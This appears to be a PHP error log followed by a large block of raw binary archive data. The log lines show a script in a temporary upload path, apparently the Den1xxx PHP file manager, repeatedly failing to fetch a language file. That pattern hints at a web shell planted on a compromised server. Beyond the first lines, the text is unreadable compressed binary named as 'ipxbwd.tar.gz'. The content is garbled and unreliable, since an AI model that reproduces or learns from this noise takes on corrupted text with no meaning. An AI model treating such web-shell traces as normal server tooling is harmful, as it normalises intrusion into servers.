Not Found in /tmp/phpM5aThD#sim.php on line 88 [05-Nov-2025 03:45:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [05-Nov-2025 04:24:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [05-Nov-2025 05:27:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [05-Nov-2025 05:45:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [05-Nov-2025 07:44:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [05-Nov-2025 07:44:38 UTC] PHP Notice: Undefined variable: ext in /tmp/phpM5aThD#sim.php on line 1115 [05-Nov-2025 07:50:20 UTC] PHP Notice: Undefined variable: ext in /tmp/phpM5aThD#sim.php on line 1115 PKz&e[W]i ipxbwd.tar.gznu[$G.ԋk133XŌ bfff3-Fg^}=^νeY?#2k`vvjk|j%%$q/6!>&%&$$vzRo6 s=*1USq1q1 iqiq 5%5=#CiC#=!i==Ȥo@ܼ񑾮ĞޥĸiߩI߸Tfi+6qgahx޷Pܑ3>;?0?0-wpao~D[~Dž~n!_4-!ż~ow~o < wmgdrw~xvjir֢CrZbLZb긭u|%7𗑭սytX?;yOv;v;Yx]n~nm_Jv?tkw"V푊vٶviBЯXٯH_ߺ[[]_ͭ]歝wvǭڵoz?^}vskg!d*#Zڷ[S[]$FԵ'kx?nJ[;~`x֎n|3f| ^ٹZSgd/~Hw4P@.-B+ɝ) *#VsvD%ݷv \iU-pǣP6;-5H"K*^v={kt߳,i`֮?Aބۊעr7nv_K=AO.Q?6;޻AQa-RXVfZx֮n|(& ;яR^ mKdu;cr} }R;٫?A?`NiVaaVzF|3}5˽8MML%hb4ߧYN,$k4IXY ڽڳR{55qX^퉩ڋ[[ Ha6@ _[ ]27 M=<3_/̏-(oc!Z)$kbІ*Z) hCB>'jb %1n=Ϭ%'k562̴/W`)JJJp/,TiQ61"^^穕|__7HqW_Ҥ\i_(x zֈAcuݎ1Q!~9񬼿C'%hgG| ӾBMJ!flk6h#R}->VowHO?6PZ6\U2'파++Q6{A|U$O|_{XX'@!>-X./۵״Ǡ8OҾԬ'_[dWxVUBZK}L -P@ B c(ƹ86P֞{Z)CIgo[jF񝫪!JRqA.MSOF"־ *OH<Ԩ@ lSq qt)&Ceq<0,c.[r+,оǢWC1EtXDN>h~uYkot[lui왖K5K?GhB9hܒA&]v=^X})WFcPhyk5;-n9w&(R +佀dO2Ѿ_}JN>&~F}M \ Gk2C@H6u#(HjG~}$s}{0o:'\O] $f}eU_L zC.٣iP̉?;xBQ|,ٛ댫Ezκ7=/ǔZ:ꛏ{ڿJ_*rϋgy/lƻ.FY󖫎ܱ~{w>yC )&yjq6Nhp :EBu>]^zNb3jeD"Ml!8T-~xB78ݼ:pOXrӅ'K9_ߦSD,TM1ء{g}Lzg܉CX^هM#tݺb"ֲs;t#(Q$7R)a(O.N xKk{$tZFOP9 }R >\y$r2ȃH96A6{{:豽?tMG_~{?*OkDZUս8.Ѐ$(˚U*:vr>?(5V|8]m-(¿=;9r~s!-B _ᛏp{| q^zTN N !J/sťV{>5f9HIr ǫ^`J`<%o G)+4y\HrGjT?M5ػ^Cژ* UmϕIW>?8Սk쏝8uHG.kZ~;KE(gK8Y;GE*t]^T޿>| Nc;Ŏɳk&nXM]F5Жܻ3S/ꜧ8gKhd&( Zj?puT~{EEMxPr8uA^]u=%#9_ƻWtٳƈ.PSLW %~au.˃Dm|N*>H@{$T3އ9P/?ߎT'ύPtp"7̥~|D$B>0}[Ai1t`=osJfO>%G*?u}؟P/ZNQ.yJWU1a=$UyT>wH"@sC 嶟{JqvNb@y>n`_h"곗/'&νmysqWW--ڳ#^'x!H._i8}2% ~/%Ij 'RR'o.g Ͼ >]x3 '"C4Poح?`S.Q N`wjǟ_* ԓ֦$X.[jD ĝgՓq;y;EH_=|z3uW_uD~etG^)FE3#͍Ts"9ɯFͨgsmu)79i ڭIfw_x}ۮLP' zHLJTY_!/;=4¼svWν~(tK{[{mTf+)' G`WCΑ k"~|gZlL /4puJ69,§{]}WI՜Wh1qӑLyu+wn ~]>>PMڕrW%H[LwFI+C{t]u(gU vթh KkCKyM ; "=f[.>7;AWq5ٝݩSMNm}_6?+s=. K#iAPdF{_ߥX*겦*ӓtzn3l7:bg v/ / 20u_vb銣#ut~Гҋ;xݼׄ~\mM6켔'6z;NSg?uTu՟8+/ pwi@R,+sX X"ȍTbyGJPg%7}RWyC~[%y9eQ9\]8S>`ol *]n}~ѾK* coj_$8/߾"O1ta>~]e>M}=; dɼ\qyA{GNFҀx=d Ҿp=kN#Y5D!k5& `“_HȶU%Ve! z=:Ui_XŢ\:0ʝg$5zqY 8~kv ;_!܏].\P9A< øʏ"c|{Fi6<{Ui`6yt BhQ]h%:E3+<'< #wi0D;ɬUL]\syGx' ~Fw 0O}Qu>|y_Gj|΍) or#e >Gh L8/vQA>sB: +:J)k_~پgK"ԠӧTt/ݙl d\vuvGyid/8?NľV@^Urڙ=lG=U;>'m~n'TsTǤɞ %g.E*I r n/1Wn! ]}؟_ IDl*S z)n{(?pי?>q{?Gϼ/(}OSwRSeEWvyDG?*,GtmS/;w xUCX]K74SwF,5VlWeAW7kayue5%y^1ͬ:q20+ݱW եrUfA[']p&OCdfDd{Rn#`^f%٦ E~y;/ |gUTCO ]#Oe 8_.2_!IwX&nspy+ev2r4b}2cV+/Hy 3 w\`IuvQwɅR;'v+  nNXZrX]DըY UZNJSa֐$w(wO:q{MU~- G6.\ʪ3Pn[ 'y(/ S Ua7>mpǪ2+kJ+ Jr+ |Y!t-^ܛ =4k%w8 }%M/ J.əB:'mR6 8f_5 : CUTv `<ܸm]%dTKNfU܂^t Caf-;b';jf +Q)7&͚%GFdx>(Y8Q [A wa=q}c4K$94ɵ2[@AyQ4͵_MH$_%eVMUy}JAʧg*%%l-Mt6K[Pkm(?>QLAb7q ASQМN($o/r>'.l6 0cQbkA^c&50rMq,tRD9QXI;;/ܵl(n)0ge:#(s<5(W>bҾ"s\4Дh{`P`"BZ\PR0vt.M.&ySΆt ($Q(6G)Nb! и|"vЊ:]?$ [?=x8]ONQ"vؖF[fY0.8)A\RP$!4? _{  d+ chY𶁵htQ=Ҟ~/1IJp]@ 2T lVvMs=S8+jUǶɗs 544T(@Et`hҳ~ȁ9 ;:\ޏ@!}@4H@/lhy/0/KE_?E"pN*ӺP< iXxY[@p{!} -4wEB~|U1$Y]_-U7ʁ#J(1j  ƱjQ7@9`\`wD\p%R͍ye2b',PwlE(W`0OatHAB sH A{ @y4h!l` ٖ.@UӋ+ 0T PrFޏp];"cK=9 ngr;y[ К. &Pb*$iK"zkHV!6$V-ʋ.? a3x#)olvh"  ShSfwC.έ9| #GCe9A MK42D#=/!1Ly#Ⱶ4@&rL]Փ'^S Y֪88KO.cUHu86]C&FՖ6_d211Z| ľEy0= CCP|, а(Q S0B»;}AlE7FE,È3ћ OF.<@bY-񍬷 ĺ Ys,]rmnW|X:%}V#>iX?^,}Yw B?6ڵ }Ah mvVy:@( %ڱOu "hH\]D N  %2kӼ]#{5{mT_&ܞكwpq{2/X3סKqؘs":ܴ. +%%( 1ײpSŦW"7x)k3!'+ Ќ  YuɅ2RTA&pA&KQ>̉׳L("PxU(_q R#o3M XfBZ}9N8_" w*N !uKg o<s\v](|$E2N=updlԳD\y1#qK URr!QG(đV!,CW)L& ^AaKPV slh)<zvШ<tSiMrYa F9"(s\bO0 v2RGE1Qy"xzBDҚO)J?T~;D:޳| p6VOJ烫BtKX@?IOG!{(vv!)r>H>0Ab wfݳ_=}? ]t|CfL6y(侜[C\UѹӥQ$h8xM6j+!PHtKaHeÂ2+=*n\Prb+a뺊Bfn@b{yNFWRƒ!XwWĖf5+BU@z!H(S|#)|0GD=%H975@}@Y`] '4YK DH ߟ~\ pDEy¨n1~8gb;CӈBayk-knf]n;2>̠BRe Qr"ҫV֒iKz|΀ȡch$T*< 챾j[@pږm|}\iQ?`n+TX.N/PL-u%L,u*i-G>Dn.IF6ʽߟ\,EaY.`Z`Pgxn s'YS6~V\mavG Y9DShp'rVPv,ll`$r%=RuJ3+4 A 0`&Q$ t/P-K>Ah>,%(C> .}!e71k(֋jTBR=e6k"nPu@020&Vq+,ʟSI4ep@|[.AnW($HcWi Ѐ ϬAAG&E&Y#myL5U;nf. mdPlϦퟮU r |M(]۩t ϭF.krMꁔ9B*bz q9{׉>biUFWy^ ة@|(3omKqdmotϣlO9 20 B )2mɲv@!$H5!i+i4bF%ز෪5ǖf rt#ҽ4cj  #b35 ^ESуn+P> q yn%#4裫1k+Fn*{ϻ^BSHUTM՝{LR\;J^Trsk7 x#!a/--RΞ-i/ZI"iis0[cA@li4kIQz6p1o~h67־^*H%ʇژ#=qPk_'g,|/3XL, . @(̆8"> jp3"Z _A.̫۬$}v%6r֌$ݳЗ+ۉzR-*@3ְ}v 1B@pk܄Kӆ^x^\GS)S0hr_?s<{h=eO-H=dzb蕘ne>O)K31CT$[G! -u!:$X8GB =cCȚl}~ɧ BRNfZvڳ@/7J O8[238!P,ja7ٯ""ACMԠϠb֋((eڽ$}L.DMyIR;дeB>G],~p[j1V1h_G>aO!VYXf5u.].r<@QKy ү<8΄\`9xa.7y.ut : WAle&K!y:*H!1bBAc':Kn ]t' E%{1bHqFs}U^Г{,A.9we.nw};Bg&9) ȯiё˼X)l8++IUҰ>lN3*2T6їÎ#R)"ne4Q¼pNo1G;EħVɬr<>֟3Ak?A^!֨BUR3<хm&.-Š I`|zن H #[T-Ǘ_yӧ>]jM @׾"D.HTGS<WGja V@ _5cVl@'`G&L)q?A1ݨ߄\YB7f:S;_!|mrn֮4п &X`#yH~a刐brVMx4ARwz&4a'ڡKܭ4hSO\38 w`a݈6AQb5~AȩlpNۜLAΕ|G|T2Y8 ,UMSH-53J YGZkuW x)B1 HqR |tFiVGM '˫GM̌I3rU¡0h"B /ctHIH5<n[ͽTQT˱x'$ؒ+sPWm4#Iff0h%zT4 sy0Huy LcU6ZT'tQ.Y0JOj70 Ӑ@e7_B# |UI{% uA~vK*,`B *=li¿Rh,*ver?}x4%B$b4obԡ6aSPgyj%աҊ<4+é@U4j.j ^ ݷ2y i"=2hQ[7mcRD784:Eu.JQ`BQvc9M:D" | r 8~f6~{ h܅IHPGZ*,M"076!+>Bb ͪjpmSZ+pì &Hn婶5"Q6kj7K`#:ͭ Jy lr67(7eD]nLǝQj(gȇK0 })Yf=~+' jˇAdFl@ v.c P? (8dqK '9[R\PQ Rn\g3 I%c2 ڏhv=SwI|O:ߺ#jhxyiv/B)^GJRqo/hTQlBY`Di# Y-% 8x8J*!ӂc 4.` ZN$,YAӼF>m&N}S y:\_;ͦZ5ʊ@Izyvv To0 6ȇ_W%##QB+)839Z#_ȓށ6De{ gF4iLNR4kSQ gSmF r E3iځ*6/0^5\_q@7S KfWG'Orbi) _}Տmj@iSwapiq],*\qK mGxXJ6+EyK΍jKk,D!`P<;|\k/ʊP70Ȃe7(#Bn:?AXy<@T1ѡ'Y.Sb+ (lsLIwpJSq5dK!얝$"9SDs]QV)B["xe4o6(r( `}O-@.gфjtC)O)Ω@"tWͶH"X `.'pLDq=6nDͦe6T8r.SYyTGME@vr$1 |F̼]iB\×TQsqqv- /D)ulԪfc90dAZ*~=ȏކV_ŭr0 ڌ|@޵C[8U}Vz8a⋠6(Ay> 80 BXr Oo4W5]F.$DJO&'z31ˢ-ÜeZcH2w=uÁdI'B!uM3-GMWgOԝKZyEڭUO1L+-L3;yV.Ѱj] Sii"%-:ķJgPQ8 0SH \lՄH1͂ܺ}A‰^mTg ,q_NMEXviwXi$p[S,t%Eh܌B$+0G#6} R/82U|Xs|"%؝MADI_ɘ&bF/\c4,HHa=Kg!-db4Kitv^R #Q!X"ݗD Ċ $QBRL]:@w}|pXnY3%@GR6Y*0 XMV< &h1,U1IdB/0\"w>KzjujR"&)w XP L'_V78E!P]q h)5AYyUJ+84dET#'~ }%"CHb(u{/4W7s˝o/VP HBTcX.D9 'ku`Q,W(ঊSpGdwD2d,(cEK2sد'CZ ˗5 UQ3Uױ*ey8HC%UV6k@!р1ZZJHv; Y58&34^eI2e\ؙ0Y4KP~;.O $HV/<9iwg^`]XSPM@nvC||!lȉivʼDnPIS c+fH97*:$yV[靂<{^0r%&tJ%Q(o~u āQQ|YĤzˈפiu5qJb"’H{Ezt'A|QG pGۦBΣ]|6gpSI~:ا/9C7&ꦼ{Y#M `2\Q5R.{JAfG#lx/d#D @I*_ /5>ԛbթW2ҭސ)aKaR ڭ/,HfI&/^&Ή'_i` :KDAW^\5Xgq"/f:ŇV%6F#SC6L9'A|Ut+%8+& 2/>f'Lg58%r'_,2Mo$;"t4 2w&I!@NBAqQmQjeJ`QCa$/UEd֮ÔbJtUQ$YcÞLDY<%(vT}q=)TQhaLҏ=D܅b @呿w7Nf)|:P|h؅id<2ET_7b IZJa_ Q첓Yz-Xp#zz+HDjȯ̋7ZFP_ɉEPO'8<;.'6j@;$ ! nZk4aiēn@BZ.Dҝޠ}M3PMDdv1 gpi]-O1P<@v{C:5*^}Kyl C"!VN/ڨC9M=!4pC+& ׾?Ksasonr h(ܣF4]!4dDAl d84WhQHHhD4me.-\c7XUN&x؂qYkeyk|VlUns婔CuҌDF8hNQNpeMmS'jA] X5h#Kew5l8Y'LMhW(Cݤii46it+s2I7/;Z |S(i %Trn2aS])L'uurtzʨrcXǪ|qGV{CʊV69S S 8@I/)SCfƒtqX*U7=fĽCQ3dN9gQ `%-9b@,oAx $`q"k_ b\݃kC,ĺ|5\"iVYZX=6%+.SUVm4AcqAk4㵫$_Cx_B< .$=@ 0m`,5S\H?Ϛ6j̫NJO$ͧY(P^߃ զ4 .tMgAf)2FG N[hatY )u'k 530kx79 ]A3i}|@<NKٞ":v8-> qVuBq\շy||J)ls؅v@ -l(1 P~2 8-/Tн48vW@WzkuE`Xl cU^7 }X8ѵt\ V۵953C>H"aPB Ou-i,AcNNCs k]p#nM]:$qH@=T"r< g@3=I<wJls 0\E^EċcT(ZIWG*epgi ٬yjA%z.~4a c[ !piFRAGnDSa&w%ZyQSb=#C,;?$F&饙.4~MRO?AC_z<[//\;q ʪCY[:{C7yJfyZ1&ҩeH?<{ڬ Z!UoVG(6y_Eab֒--j&6~S A)޹åb97X5g/lN>8@- GE:P1*>]>"ӟrPK~VwiloS><9,9C"#ůUsE͈9y1` Qlm9o{cūj?7lP abE@͞7ٓ1AX !1 >\57co񯏂)Rm]MQ%9n=009oeZ$ Z8<\{4lY+*I0[1%;Ma~Ul$HIύϔǡsc#W cӝd9(wYJ wj1߳, VZ =WIm]@$)0" n^Ҵa*xOrP[l/ ؖ _I\UIqi2f gd 0*,1~ WMfyi_50 VZSnc+)VM Wgp3}Y &;ŵnȾ*ޒH2H"#$"84@}1\%Ԋ@d ׂf[M8IY% $Օ^cřͭ|*5 It&i7h9irY5[m ?}i|u ϴ1ʅMOM V湓4&UU?H"ncV}(Ưٺ G*<Ǖ<}.57`sGȾh$R=#k@>fƒM*Ɵ keVE%e[ M}-ނ(CgJx_Qv c<@<.O;8p!ʬBcAՅD{y`B0BϊH{3#+!IR^4d[fxwDyk;_ >Ѕ9Ώ:SQy~Y! ץ*h},Ls&iWnji=%&)<$ҫ~ -դCBḮC x@(5 Q" l`pp4b& *Q #&T64!'R)g30i!&&$0yIjy `nU#?>D$ )}G4u֟=aa{?gFNOra3>"leM8eɤBYmEY%MPPi"b)~L_J>,~G!M#uXu37އ8LMh)J9CG a*X9;wy̞liEZŪnꭠag |BTz[R ?"1w҄ɡإ=, ?| 2b.d6a +4Ew]zޛJ[z7 F;^x_0Pu=jg&SY?".x%GҐbtyMHU9“Ϡ,?qV%G89 .o٭ϦZ#Zz;5ֽUvrQ(jXH=*k4#U -tb*MYN ンZ]q\;AKu)P9KLԃx6=7)i's:9[CyBc0idQ`1pkw/r6F49SI!jF3$״ ;9er tVW@|Ar>xW _{r4 :7O_;w DN4` l2U]%{{oEeɅM;{]l8QO>iAa0CQQj!bZ> |SI$yL7}ucoʵRd ,R႘돈_2780XPSPA4}rGAScȌlG"0Ɔ!DkϡUso 42ʻ=~Z_ e 60%О#tC)%(9)BJ|(@*!"4W)D\U`$_+!A^RA;(/[x3[^G25kI=5\v[)A_~!a >kb-أ9on eBղ_$= -bq LzMΝ) n#hMpjZNZ}Nrmvw[! 4Rh1CwiJE̶QVK oHP!N S$U)Onc(`OuH2J{PͲ '6i`_K"aR]^س[[T'Z3L\Hq+x xb.<xŋ>y5DZT(pcv5L1x=!@6jMsآ/pĶW .G$#p uփJ-ʜ3$!¡EH_kʳAXQ< Rt7bze3'թpq269V*z@!lMRDP4 hwqoԀ{=`> 홻]μ0aW(_ *x!hCNPw'32-wl[/bM`)j(V^Bs1rdd4âb aa0"77+9.(~VWf,cit &_3uZ ?s\@h z`W$++}4YPVo6vUR^Ġƽ+د8ٱN}ӞІ2[//O̝lk,쫲 c F p@oJEEQ`ox#  sxmwm&<0i {v"f2CW_fzO0񌛲p}/Wv5 c/-rFx*'A+3t ?׆a!5.E6<Gd`xT \ӾgAUſ?H@YtFK.xî=H %4K;V+Gq̛iIB7DЛAg0)kqd\;6k%Ϯ6ˢ΍8 $@dx/ʪ5ު@ I41~{k(4`ˆs6ճ'\6+1W[V0*y >~wmZ"[4` i4l͟IObj8chWY{ u$$J'ׄ&@! dpO.i4(Y 4G0t N(`a=~h𙏂U7d@n38 >AUҗ`8EB8<@ИJu/1Vrq2 ru&[4;C0 ̆>ܼT1'*k`|Ay3`2wǺ 0iǭ*p\`'AUgh5͉_dclt< F~5Z/<:h[ИIҾ[W>(NtFM(mj ~aNtE.Y"PV^FlAR1簀'BUsz((k܊H0+T}D a&X9{)S*f2;Ay!nP/{j83LHj6@" nxDJH3AwXT+ *FdOpiB;mQB4|fmK m m5B/cb47Z43XB2CiqaMXȌEi7 ='.Ixl"dx itWgI#aH =!%qg 6E vz\J+HM Ѳ&R>|u3tAڛ^Flm<s)#6CD3SS@!yq3mhtk&ڸAlL &]ʫ#(Yg)Iu˶Ծ̒}Ć}i?dy"cC 4\ L`bUG [ Vn|&S򷌒`lY({'m4ʫ眺@A}a(`N#m?Kj-#L;n-!Nz܈;u- qיr KŻ Q|(=ll 7z*CAKk$hՓݸ&iy.nn\ pC|Ɍ4% ?@ܧL|%Gt>* DF#4F$F+Dl]"Jf`f:U6@*%nv4)~h )#]¤uR,]u"tBe'~:…`';1%K)ź>Oa^Σ$fO( A&4lS@tNӜ9|E B?>-[.E N_U==.m}31{$AElrgDgE}Stija!'3,,"U< B_#2~ e&G_"`Ǝe*t>^|JH<)ΈNƏZp`(<ɛ*SiPUtgh{ ZGَR #NLe _"%6!67|#~>ge6[}^|kOvJZq?2,ˑǦ"Ṷθ-yy50rnP`O$қ=ܔSP`$Om<2 i55;3 2q)cHW?h#{׏(=>i,=e_z}kt=B>' J,I[Uu8i>>D}ָwԗ~n "&iJf$&T433p( HF(wC4w@F kw:[TTX_~Q"|٤K"/zETZ#!C{` |\2 ܔuA'>N}>l_:0(A]btJgFi0EAjْd7ׂ]|}F,ȦA@N|b(t>3:,. ֕ܒscRڌ~ye*t52dYđ"aqP SsQoIHX(o;T |u(8 4WZw 4 t5AED:o8wФIT*A+_w '>. L";XH ]<TX3Ij\lX]g B8pڠq9p:DvKh[tjZ&5f#xDLLu*'aXbp`TW/BYQunzT+ r!j0;96PTr^(CͳOiZ}NAg@AX |V5&9T&#rIT@t$>Ho/vѧuH qghgO Lh_)fgDCͪZN‘ߓf]{20-C\Scdac'`v tO`Mt+m&Պ *f^vJ3B+LwTdKq+D haq$~PoyGvIt#3!#jdy`GLVE݇(ll@Xoxg2pkv`TOü+}PYeP!+㯉m?bI!Q_6(=>%#kT`kv58`q9 ԋ./i`[-8 Ri>2x!5Z1Ns$PW@{kؠTy!p_ėߺWS&eg黊S`~6q Dv5 ܖ^M(kh]"8>:=F[\OY6<µ 2V+;q& lj|UsmEzAfhBB)~tV:w\5Rl01 a0zSA^/­ +0VǨi9b4 t;Jh\Fr" QQO ؽ>:Dp'{N-c;1 Lth#t=y~-sAJB}TƦLP|4 ;梂D:@laU]M™ɤD4.оVõ%so@($-X 9a s`xrC^ XX T#,DG r1CZyPog<3(ʹb3? ͐_<)d%.~2j9rM}0k,, 6ķhW jaĕvکoV ׉(gMfK`DZO{ T𷯟OFgf (UQ 8~$ _24ʟl)QE8q !_~IGT=e9j[9mR?@sn;4aPBY2!e7u3k5|Fa}mX^@$4_~@s \@ah$ί ;&ɫ1O>9 ՝>ԫq ٓhQn @߂Z6)nenE4';P8#-#+Ci|eD7gͦʘFbtzhqJ0*80r\7sJx`lڄ{c*" ЅYyAj2[o-2d" ve5@tx/])V9\*F5\@f5裔2y{xd|ѓ-!dK8~1W9dfEQhe`\$%%؂mP'`ˇ Pgv=1<=s-\ X5O: Z=Ĥdԕ5GEÿSP{{XiZgǀ9[=崑 ~ Cx)Q "=qyXr9")<0k>@/Ϻ@K\y. 13Fh4b&ÕU*nlY`]]I쑲s!evIi)@w 'oߍ!P̔:SC)~iT<`Ԉ4ja%ۺWD"Z~Xps7y.Op/_V14Sp@6_ջa_ʖVR']"zGހJ<('-溥LOƜDk:%YYXA?sV{=Oo_}h D{L &"xBZ|<x\Xke.ESk@s0 좙x" "fU`~T,7875@O=ƛvO]xJ<̞Eg?lޒq|Y.#]3!^:7T6oNc+#z0 9m6U)Q7B?Ibc ܃H@#]>4AiZ1WS&PE/\!`8>cHi3\3Oo D+sZb 0 wEu \ĉ^r@F>u}IvnڲFh!a1֪5z~+Aq*/X\fqSN aAuk8o}DdlVX HKK>ꨃ3s V*gŇQg(H$k (B0W γL[|5"$i#W.zşOem]搳ÓMav|AEM3&5M4q4T<ZGs!FLqr^Hbw!L兆)ux3=eP?|ON|t,΍0^1F Z\GDzʑD9zA |'P \m-v9\8?pX_2I.WB/cвE ej .d5d ;!b*hG{ɏ`A^ӲCpƋĿ o)oeN"Fmєy,̪båuMOHkc/(AqJSzyz"S9 Ha:{i7dyI zWj_` JqB ST1`! fEaD;d/R-ib,*PaH yhI"A@=G|T# k]Dk}O'Sb%R`rohWʁQ췫 |@MF]qu {z;Q!=wfR5w_8k'bϑ`P E'?D^ u" Q< p,Ha#< J;&9-7+ѕp`1/N3Ky0B5-R|LH_zu(fΗDc2p<_lݶ ~'P˜ªlZ7ȍX8|wʆ+XnJK| TY{4-`Lңš$>0 &Nm׿H~f(?i[IN Q@F)<(^$1 \( &4i&`\b_Av! &c%pTsRf-mAF(RHDAhc7$z1` 7SZ),L%1tH_f `fjI9S, +,} p,I֏ uvh(ΫRn7_ E_xM)t6icRCuyէ1(/_ܜ̉2H4/% ;Km f Bt~!s89oCao0Ũ |:AZ#ՈE+t`*ɴK1[UWG Lj`h$?_RGi)_MQŕ #bO`ؚ宷Xn<~vDk4OyCs/~ǧ̡n`\hZbe0_N[y ~>sƍD@")I$c&P=?g-FP4e ʸ ٨~, _yv3/MP4'Ŕ-v[Ԫ"//!6qQ&x':r4R[ٞa*XСg QU MLƿ5Ne1hG,K@hw-sO_  psL6Ei`Y[Z"JK?B|%ܱY8qbC-2%v5p9Xevs<'%{ZxH"<`\Nw'{[)D yۚ旖3Okh1EΫd`陶m3UN pgp,GpK`d2. )ʫ*hU<'n!DW[: w &-9lB3J粏=3l}wRȂ/R29?Rd2%;&Mť56>7hT-id]v.Ʉ-lqTn+yYP63^r+W~!3_9 AD =i6sȏt4[jגX\[EޭPں ڂ'S C{T?|U,6.%f)\ T^JbL}HP6|Y ١>Mz$c}u>&,lG> a{UE[.v(+,i ,{5ݟ`^rm$,x#4is?dՁ\3$vmp\qI>~ еB0uH11LubFE"\#qq9hTa}Y̡~;wADT>7'#" %sQCQ޵Gyۖ=(vVv4& Yנ˜:h0sEr*&.~z&ď/@И%ڗ:S G MrHQ -@o|p7[U:BBɧX bkձuDLNRd8| bGosIjO9M-Az|/AsݨD0F( o'& 4_2昴D0v 'h#_z{!-P4C_+41FȨR (mi!VBBx6@UaeB4-otwwӵktIt M-$3dQl ¹|aחD%JFY yGTr:;}D"}"\ /C`3|EcF_ITK6WuDy}VיfN1J)B9bhʦk]skS E.\7K!˔Tc?c!Jv@{()/ǁ yˆf[{(}>iGcחIU  Lʘz;iEޱSL)`e"D[,}(H NN"}}_١Va3}vQpIO:1V_] FK,%hbg^BWHN &3N$:%]"|>[q tGZs2|=&#Yi.yc*~LÀNG ((GNݨ5U⽢בz:p ݡ!}?: m@#1iholRԢ} Io60("2S\E8ec?;V^saxFK>1Rs| ei{)F|  #R}؀ܪ(x3k5ۆ["e->1d#ƒ[`P*7jFDĤ@w+z }S|YCr?x :@9ui#M(o I:)&O-D`m#.݆c[zv#SH?D^B=Am'+p'/Y3P,f[%ɗ6-_~ro-yViE TžUi\)f⍓o|E^l|, }=Dga~ADmǀ$cvC>H6(LvʠF+T|fsvW(!XB 67Lp\+w¹/ \S³O_@/zM KK[=֕Яc+hBAEjG2U5u:ۈ3׵9 ?pr" ݔ@ ȫ'ʁ.,J' kf: ~MKU顨F :LMeR6Mh spOqM:~[ a aBѾ6p GLK)#-9%[r#exmt/c?c?9CThtײXn&L${?&q8q*٩d LJݴfO rA\bM 9)5\AQzH/qG(1Q.=`[ho|B4 hn+ϣR0Iepn8ʜ"Ϝ{ o>8z!,I) G) KÝvd ;`41u>Ȑpz>(C} Ú \7 i]rq(%܁Ͷ|JzUe )1^J'~/z\Z hZ 1Rάo\nRP>Zy 41 t #GU_Jhhs/ChClYd h@`+ݥ=w(8Q18& ք>R`{KōCy>G Š_ŸՅ01R89e _{a>K>+cݞ|xdѰ }h*x}by4:t{!-0;uĽ)Oı7Ly5q< w8>an"fgz6S8h@47Zl(KU 3YR'[Lg 12PwYDzqvtQ;=W}w.,-A-qR ^릴=5R^dL;͗*;~Ȼ&lj My[~D*몁t!O)9E! .@f&bF[lgX+§h}[ѹlHwH ;x8 l±R(02$Yb2:\}S㰖Ѱ0hhۗ=㒒 0" `\ShuWOx(̔;͊ 2װZwҳ9rc|R&l_%pV,j#5bIPWˇ01)9riC%-҄E 9րӶdjI,31ͼA/VH5 M@~։mCx#峗!,P:Ѿ$0SϧفzGZ˛qFC(8d}#%Sxeç=}kpo:SOպ"YƤA7z!T6X š|,t5K\2u?WM@;# jz|Dӗ1EmVgZ&~nR-/AI&u7hoj|C5g gS I+@4u$hsMP7S}Z ۽yl/Ȟ}H $=a2lUVWO"ԘfDJLO4euid2F˾-B$Jn@EMNt6là|}SrǞ\&dH935@,#DN15K')˓x= DFRC`7k*oDři>Di/K<XYm?D-0.l8LYXe}G[m2 v- d3E˽׆XÚ/z!܌Y*7'_AIFi4r`OϺ'0<:š5r0Yi8%>Zm\u#s=ɏXJ\ r.BVP BVH^;Rh*-MM D&.j _ 59\T4A$0/V0P u?7h_m7jɤnXC~-Z*On-T&j3V6$?ZI9_yҊdt"pmf"3\Bgm \(F0U]T82S_[s5 4;B]Xs[i *تN ˽5P zN-F ):wGDEJ0\F+y}8cB sZG7B^{~q Gk3 m]t F^tMTtC\G&29e+iAb(JuoϢedoo42eB$oļJ*@c|]|[W&5To//` hn):l=0ؿ$&Y$1(1!sBx ` 7o2R3/ =/(;}_ NҙRD7YvaM}H3ڭs}:`nx9%T@δDM7;v]L2{ b}h2` Ye870a;9i?£Og*Mf=F:e؄zF;cAC@TX\C<^a2 4Z07=V CO*K$4YfV T^⫼` Ҹ=uuG@$obǺ6ґ'(oĂ0+E69Hw=p3.\c>yS<ʼAuE {S( n3X)gRN̷9`e>{+ 'O~/tW2Ofeʯkm~<=o3_@rgxA?oFs6].Bߞ~jҾ`ɫ3tzhȦU婬Zz */F>e>UF#ZR^uWk,siY>*\9 *2);lh"},&*k;&5c_byvI[B`ѶYDx0% tvߕC(6xWwƃ\;EnWߘCvtV_ׇ r a~1"Z 0N!F5Y, -C?ѵ4W4mu5E=8ەW "5a^ڕg3ipdYD[7&n f{'<԰&N5`ȺP8e=ie629o7N6F%B])*8s9/4N'u"\3^d`4_4|dq.!ԍq>/"8*Ff3 <š'1 ЮzǩrFjMhᷝZ2 [ϓRS)ۨ(!0*ۘV5`'r"|=sIGy橷"`tV!{=fN U<F5$53>751=2>0JT-LN%AzVyyqpB=70cjT^J~}=GW {M*VaԫO'bS ?!)Ε{_)L$GTM7;08XUNy;XG߿A|va%{og wx,0>OT;\kӫHWڞez{}]`}@ P_ٜ)SMhp[h8z$Z~n0^-xm$8Ք,o4$j l^X/9|9j:s:\~ NLYCLڻ$dQ߷e\IAKFNX׌?b pKr Gq(~uvYS ~t(|goҴ]L_QH FTǔ;IKjIڍs| [,˯ǻMtWP+P/R 8 9x bCլUQYtD i^FR}5r$!@E7u rDZ6#);o7dje`#Q |/)MGajK@> 㿅ڭ4w_(Vb9d 21't48N-s7*n:/O|j M/?ԏf+YAG8 jIQ:SJ'{1.e+K\s aWoWLjS=Kskd%2f;ءLZGYk BVG'8+W L:*WI#`3]$_ 